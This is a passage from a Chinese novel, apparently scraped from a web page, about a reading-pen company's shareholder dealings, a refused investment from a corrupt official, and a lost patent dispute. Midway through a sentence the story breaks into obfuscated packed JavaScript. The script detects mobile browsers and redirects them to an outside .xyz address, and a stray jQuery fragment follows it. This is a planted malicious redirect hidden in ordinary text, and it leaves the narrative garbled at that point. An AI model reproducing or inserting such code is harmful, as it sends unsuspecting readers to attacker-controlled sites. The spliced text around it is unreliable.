楚靖坤悠闲地翘起二郎腿:“无事不登三宝殿,听说你公司越来越红火,规模越来越大,早就想来看看,一直没有机会。这段时间,一直在深圳忙一项业务,而且这项业务居然与你有关,因此,上门求救来了。” 周锦达疑惑地问:“什么业务,与我有关?” “没想到吧,”楚靖坤狡黠地一笑,“‘点读笔’!你不是‘八昊达’公司的董事长吗,当然与你有关。” 周锦达开始有些明白了:“想不到专门做大生意的楚总,现在也看上了我们合资企业的这个小项目。” 楚靖坤不乐意了,本来想说,这可不是什么小项目,我们把它推向世界去,还没怎么发力,就走了2万支。想想不合适,今天自己是来买公司股份的,把产品说得那么好,只会增加谈判的难度。 于是顺着周的话说:“哎,这年头,生意不好做。这位吴先生是你们合资企业老总周先生的老朋友,周先生让我们做销售代理,我们也只能边做边看。时过境迁,不比往年,你也知道,要是当年,这样的项目哪能入我的法眼?如今不同了,只能做点小项目,赚点小钱。哦,对了,你先领着我们参观一下公司吧。” 周锦达显然很想在老朋友面前炫耀一下自己的业绩,当下带领两位来客到公司各处转悠,同时,详细介绍各个部门的具体情况。 参观完后,回到总经理办公室继续交谈。 楚靖坤深有感触地说:“说实话,真不简单,没想到周总这几年发展这样快。想当初,周总还真像是‘沙家浜’里的胡司令,十几个人来七、八条枪。” 周锦达也动了感情:“是呀,楚总,我们公司当年完全依靠你的扶持渡过难关,你是我们的贵人呀。” “不敢!在朋友困难的时候帮一把,这是我做人的本分。”楚靖坤说。 周锦达看看表,说:“二位贵客,现在已经11点多钟了,我们吃饭去吧。我们这里有一个餐馆,甲鱼做得很好吃,我记得楚总很中意吃甲鱼,要不,中午就到这一家?” 楚靖坤摆摆手,说:“周老弟,今天下午有个重要客户要来我们公司,饭是吃不成了,以后有大把机会。我们今天来,是有个重要的事情想请老朋友帮忙。” 周锦达听了,忙说:“你说吧,只要小弟我能办到的,绝不推辞。” “那我就直说了,”楚靖坤开始说明来意,“是这样的,我们现在正在经销‘八昊达’公司的‘点读笔’,做了本地的总代理,用的是‘八昊达营销中心’的牌子,好不容易刚把局面打开。现在有客户上网查询,发觉我们不是公司股东,质疑我们是假冒公司的名义销售,要求退单,他们好直接去公司购买。我们商量了半天,觉得要把生意做下去,必须成为公司股东。总经理周亚平股份本身就少,肯定不愿意出让,另外一个股东我们又不熟悉,因此只能找你帮忙。老弟,你自己公司这么大应该不在乎这个小项目,不如把股份卖给我们,这样的话,你可以少操一份心,而我也有了一份稳定的事可以做。岂不是两全其美。” 周锦达听后,半天没有吱声。 楚靖坤继续劝说:“老弟,看在当年我两的情分上,帮帮忙吧。” 周锦达感到再不表态有点说不过去,只好非常勉强地说:“这件事不是我一个人的事,我必须与公司同仁商量,也要和其他股东通气。这样吧,过两天我再给你回复吧。” 过了三天,此事有了答复,周锦达本心是不愿出让股份,完全出于报恩的目的,他同意把全部股份转让给楚、吴二人。当然,转让价格也不含糊,是周锦达当初投资金额的两倍。 两倍就两倍,楚、吴二人并未计较,立即全数汇款给周锦达,并督促“八昊达”公司尽快办理了股东变更手续。 从此,楚锦坤和吴树慧正式成为“八昊达”公司的股东。 37.三十七 冬日昼短,刚吃完晚饭,天就已经黑了。由于与本地一家出版社的人员约好晚上洽谈合作事宜,周亚平正准备赶回公司。 电话铃响了,是楚靖坤打来的:“周先生,吃过饭没有?晚上我们见个面,有重要事情相商。” “不行呀,晚上有一家出版社的编辑要来,我已吃完饭,正准备回公司。” 对方很急迫:“再晚我们也要见面谈。” 周亚平无奈地回答:“那行吧,你们先到我办公室喝茶,等我与那位编辑谈完了再说。” 好在那位出版社的编辑只是进行一般的咨询了解,索取一些技术资料,所花时间并不长。 周亚平在接待室里送走客人,回到自己办公室,楚、吴二人还在等他。 周亚平一进门就说:“楚先生,我真的怕了你,神出鬼没的,这么晚了,又有什么事呀?” 楚靖坤撇撇嘴,说:“兄弟,这就不对了。我不像你,越是这么晚还有人找,我越高兴,这说明真是有生意来了。” 吴树慧止住二人的嘴仗,对周亚平说:“这次楚先生没说错,确实有件大事要与大哥商量,还是让楚先生说吧。” 楚靖坤喝了口水,润润嗓子,然后说:“有个大人物要入股我们公司,他现在已经到了深圳,明天要来公司,我们必须先有个对策,因此,今晚一起好好商量。” “大人物?什么来头?”周亚平莫名其妙。 楚靖坤徐徐地说:“这是我多年前的一个北京朋友介绍的,这个人很神秘,是一位副部级干部,可能有军队背景,他们称呼他为“姬局长”。朋友告诉我,他还是国家某个领导小组的成员,这个领导小组的组长,由总书记担任。可见这位老兄职位有多高。” “不会吧,是不是骗子?”周亚平满脸的不相信。 “哎,你这个人呀,太多疑,”楚靖坤不高兴地说,“他来之前,我那个北京朋友把他抵深的航班号码、时间告诉了我,要我去接机。谁知昨天到了机场,眼巴巴看着他被本市的常务副市长接走,就是经常在电视里露面的那位副市长,我也只能在旁边给姬局长打了个招呼。还不错,姬局长后来给我打来电话,说晚上有一场欢迎他的小型宴会,要我也去参加。晚宴在市委招待所举行,我进门时被盘查了半天,还是姬局长派人把我领进去的。这些还能有假?” 看来,这个“大人物”的身份是确实的,但令周亚平百思不得其解地是,这么一个“大人物”,为什么会看中两千里之外的一个小企业,居然还要投资入股? 不管怎样,周亚平还是安排人在公司内部进行了打扫整理,准备迎接贵客。 第二天,贵客来临,是部队小车送来的,随行的是一位两杠一星的少校,一直送上楼后,敬个礼,就径直离去。 楚、吴二人很早就来到公司等候,此时与周亚平一起,招待贵宾。 姬局长尽管位高权重,倒也还为人随和,第一个与楚靖坤握手致意:“对了,你就是朋友给我介绍的楚先生,香港同胞。” 楚靖坤忙不迭地伸出双手,紧紧握住姬局长的手:“姬局长,您一路辛苦了!敝人就是楚靖坤,小小生意人。” 接着他给姬局长介绍周、吴二位:“这位周先生,是我们公司总经理,‘点读笔’这一产品,就是他发明的。这位吴先生,也是我们的股东。还有一位股东姓谢,腿脚有些不方便,今天没有来。” 说话间,周亚平把客人带到公司产品陈列室。 看到放在玻璃柜窗里“点读笔”的实用新型专利证书,姬局长嘴角上扬,露出一丝不易察觉的微笑。他面向周亚平说:“说实话,周总,我就是看中了你们‘点读笔’的这件护身符。开发一件好的新产品不容易,但被人模仿、抄袭就太容易了。我想投资咱们公司,就是考虑到有专利保护,这样,产品独占市场时间更长一些,盈利的空间也更大一些。” 周亚平与楚、吴二人相视一笑。 看到琳琅满目的各种“点读笔”产品,姬局长显然也很满意:“好,品种越多,消费者的选择余地就更大,市场也会更大。” 看过展品,回到周亚平办公室,喝了杯茶,闲聊了一会,姬局长就告辞离去。送他来的小车及少校一直在楼下等候,姬局长朝周亚平等三位招招手,上了汽车,小车飞驰而去。 三人回到办公室,楚靖坤迟疑地说:“姬局长就这么看了一下,也没有具体谈如何合作,投资多少资金,这是怎么回事?” 吴树慧想了想,说:“这样的大人物,不可能自己来与我们来商讨投资细节,肯定会安排其他人来谈。” 周亚平赞成吴的说法:“吴经理说得对,当官的人,不屑于和我们讨价还价,等等吧,会有人来谈的。” 果不其然,第二天,楚靖坤的北京朋友打来电话:“首长到你们公司看了后,比较满意。他准备向你们几位股东购买50 %的股份,他让人查了一下工商局,你们注册资金是100万,他拿50万元给你们。如果没意见,我今天就可以替他把钱汇过去。” 楚靖坤回复这位朋友:“这家公司除了我,还有三位股东,我一人做不了主,必须与他们商量。” 那位朋友电话里说:“商量可以,但千万不要错过这个机会。你想想,如果有姬局长加入你们公司,以后的销路还愁吗。你们不是想在全国的英语教材上实现使用‘点读笔’吗?只要他出面,还不是一句话的事。另外,他成了你们的股东,当地工商、税务等部门,谁还敢找你们的麻烦?” 与朋友通话完后,楚靖坤又提起电话,与吴树慧和谢鞠科约好时间一起到“八昊达”公司商议。谢鞠科前几次虽未参与一起研究,但互相之间一直都有沟通,对于此事的来龙去脉也非常清楚。 “公司发展到现在,市值已经大大增长了,他还想按原始价值出钱占我们一半的股份,这怎么可能?”谢鞠坤当即表示不同意。 周亚平接着表态:“我与谢总意见一致,这不是想投资创业,而是下山摘桃子。” 楚靖坤忧心忡忡地说:“可人家是大领导呀,我们小道市民怎么拗得过他?再说,他如果真成了我们的股东,给公司带来的方便和好处实在太多了。就说一点,他出面,如果全国的英语教材都印上‘隐形码’,我们的‘点读笔’会卖得飞起来。当然,我也觉得他出的钱太少,占的股份太多,把我们兄弟的股份都挤掉了。但转念一想,这样的机会千载难逢呀!” 楚靖坤不知从哪里学来的“小道市民”这个称谓,经常用来作为谦称。周亚平从所有的正规出版物上,都找不到出处,估计可能是他自己编造的词汇,意思应该与“市井小民”相同。 吴树慧发言:“我倒是觉得不与这种高级干部合作为好。当然,他如果进来,对公司确实有不少好处,但如果出现另一种情况,比如说这个人今后因经济问题或政治问题被查处,我们公司就要受到牵连,到时,我们说都说不清楚。” 吴树慧是个低调稳重的人,这一说法符合他的性格。 会场一片沉寂。 “我认为吴经理的意见很有道理。楚先生,你想想,”周亚平望了一眼楚靖坤,“真要出了问题,我们‘小道市民’又怎么斗得过达官贵人?” 楚靖坤仍感到为难:“怎么回复人家?别人会说我们不识抬举。” 谢鞠科安慰道:“哎,不识抬举就不识抬举吧,反正我们不能当傻子,把自己给卖了还帮人数钱。” 楚靖坤也逐渐想通了,说:“好吧,我和北京朋友去说吧,就说其他股东都不愿意出让股份。” 谢鞠科嘱咐他:“你千万不要说是嫌他钱出少了。就说那几个股东都是‘小道市民’,目光短浅,只指望这个产品赚点钱,坚决不卖股份,也不愿再增加股东。” 大家意见一致后,楚靖坤在电话里回复了北京的朋友。 那位好友,除了在电话里捶胸顿足,埋怨“不识好歹”外,见几个股东意志坚定,也毫无它法。 此后一段时间,楚靖坤一直提心吊胆,担心姬局长会采取何种报复手段,但庆幸始终没有接到什么坏消息。他悄悄把自己的担心告诉周亚平,周笑着跟他说:“楚先生,他不但不应该报复我们,他反而应该感谢我们。不让他参与企业经济活动,兴许让他避免了一次官员犯错误的机会。” 周亚平心中暗想,当上帝关上一扇门,会为我们打开一扇窗;同样,当上帝打开一扇窗,就会为我们关闭一扇门。既想当官就不要想发财,要发财就别去当官。姬局长这样的官,迟早会要出事。 过了一年多时间,楚靖坤从朋友处得知,姬局长由于贪腐事发,真的落马了。听到此消息,“八昊达”股东额手称庆。 回头看“八昊达”公司,想不到,当初姬局长很看重的“点读笔”的实用新型专利,惹的麻烦还真不少。 近几天,“晶浩”香港分部的贺协理频频打来电话,反复询问专利之事,言语之间,指责“八昊达”公司不应该去申报什么专利,说总部对此意见很大。 奇了怪了,有了专利,销路更好,“八昊达”公司购买“晶浩”的套件数量就会更多,为什么还会有这么大的意见?周亚平询问贺协理,他吞吞吐吐说了一大通,大意是,“隐形码”识别套件现已放开销售,由于“八昊达”公司的专利,使一些企业有所顾忌,不敢投资这一产品,这就影响了套件制造商和经销商的利益。 原来如此。 周亚平很坦率地告诉贺协理并请他转告台湾公司总部,“八昊达”公司的专利绝不为难采用“晶浩”方案的企业,而只对付采用其它方案的企业,可以用书面来保证,而且永远有效。 贺协理听了转忧为喜,觉得如果这样执行,专利也不是什么坏事,因而在电话里向周亚平表态,只要“八昊达”公司真正做到这一点,他将单独给予“八昊达”公司优惠价格,套件单价比其它企业降低2元人民币。 这样处理,两家公司都心满意足。 但专利带来的麻烦,仍然没有停歇。 没过不久,“八昊达”公司接到一封来头不小的邮件,这是“国家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507542|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知识产权局”的通知,要求派人去“专利局”接受专利纠纷的行政调解。 哦,“专利纠纷”?刚拆开信函,把周亚平吓了一跳。居然有人申告公司“点读笔”的实用新型专利无效。 “八昊达”公司股权变更后,董事长改由谢鞠科担任,因此,周亚平第一时间将此事告知谢鞠科,并商议对策。 “没错呀,‘点读笔’是我们公司第一家开发生产的,从没有人提出过异议,”谢鞠科不解地说,“我们申报的是实用新型专利,又不是发明专利,怎么就无效?” 周亚平表示认同:“是呀,世界第一笔,这不是我们自己吹牛,而是业界公认的事实,难道这还有假?” “看来,这是一场硬仗,我们只能接招,”谢鞠科语气坚定地说,“去,我们一起去北京。” 周亚平问:“要不要找个律师一起去?” 谢鞠科说:“我看不必了吧,就我们两人去,先探探情况再说。” 在北京“国家知识产权局”的专利纠纷调解室,谢、周二人见到了申诉方——两位面无表情的中年男子。 “专利局”的工作人员毫无一句多余的话,简单叙述情况后,就要求“专利申报方”陈述理由。 周亚平首先发言:“实事求是地说,‘隐形码’识别技术和组件,是台湾‘晶浩’公司提供的,他们是世界上第一家取得这项技术的企业。我们用这一技术开发出第一支‘点读笔’,这是众所周知的事实 。我们申报的项目,完全符合专利的三性:新颖性、创造性、实用性。” 周亚平拿出文件照念:“新颖性:是指在申请日以前没有同样的发明或者实用新型在国内外出版物上公开发表过、在国内公开使用过或者以其他方式为公众所知,也没有同样的发明或者实用新型由他人向□□专利行政部门提出过申请并且记载在申请日以后公布的专利申请文件中。创造性:是指同申请日以前已有的技术相比,该实用新型有实质性特点和进步。实用性:是指该实用新型能够制造或者使用,并且能够产生积极效果。” 念完,周亚平继续说:“由此看来,‘点读笔’作为实用新型专利没有任何问题。” 谢鞠科补充说明:“如果对方认为这一产品在这之前发表过,公开使用过或其他方式为公众所知,可以举例说明。” 对方仍然毫无表情地坐着,也无任何言语。 “不要看他们,看我这里,”调解员对谢、周二人说,“我来给你说明本专利无效的原因。” “首先必须告诉你们的是,该专利无效的主要原因是不符合‘新颖性’的要求。刚才你们已经把‘新颖性’的条文朗读了一遍,非常好,说明你们肯学习,对条文有基本的认识。但恰恰是这里面有一条,‘或者以其他方式为公众所知’,被你们忽略了。台湾‘晶浩’公司关于‘隐形码识别技术’的文件中,已经明确说明,利用该技术可以制造分体或单体的产品。在你们之前的公司制作的玩偶是分体的产品,你们制作的‘点读笔’是单体的产品。‘晶浩’公司的文件,是公开发表的,这已经是公之于众的事实。你们的产品,只不过是按照文件上指明的,做成了单体笔型产品,不能说是你们的创新。所以说,产品缺乏‘新颖性’,不构成专利产品的特性,本实用新型专利无效。” “这我就不明白了,”周亚平显然不理解这种解释,“既然这一产品从一开始就不符合专利申报的条件,那为什么你们当初要批准并颁发证书呢?” 调解员耐心地解释:“建议你们进一步学习有关专利的法律文件。我们受理实用新型专利申请后,只进行形式审查,经初步审查没有发现驳回理由的,只要文件齐全及符合规范,就会授予专利权并登记公告。并不做实质性审查。” 谢、周二人无言以对。所谓调解,实际上等同于宣判,当庭宣判“点读笔”实用新型专利的死刑。 从“国家知识产权局”出来后,谢鞠科对周亚平说:“想起来都很狼狈,原打算今天与对手过招,对手居然一言不发,到现在,我们也不知道对手是何方神圣,因何与我们的‘点读笔’专利过不去,非要搞到专利无效。” 周亚平若有所思地说:“很明显,那两位面无表情的中年人只是我们真正对手请来的替身,也不知他们是对手的朋友还是雇请的律师。按理说,我们持有的专利证书目前并没有危害其他公司的利益,不会有同类产品公司花这么大的气力来与我们打官司。联想到近期发生的一系列事情,那就只有一种可能……” 谢鞠科楞了一下,猛地醒悟过来:“难道是他们?” 真是“心有灵犀一点通”,二人不谋而合地想到了那家企业。 “你不是说问题解决了吗,”谢鞠科不解地问,“他们还给我们把套件价格降了2元钱,为什么还要搞这一套?” “谢总,知道希腊神话里的达摩克利斯之剑吗?我们这个专利,就像一根马鬃挂着一把寒光闪闪的利剑,悬在他们头上,他们必须千方百计除去才能安心。”周亚平说,“哎,都是专利惹的祸!”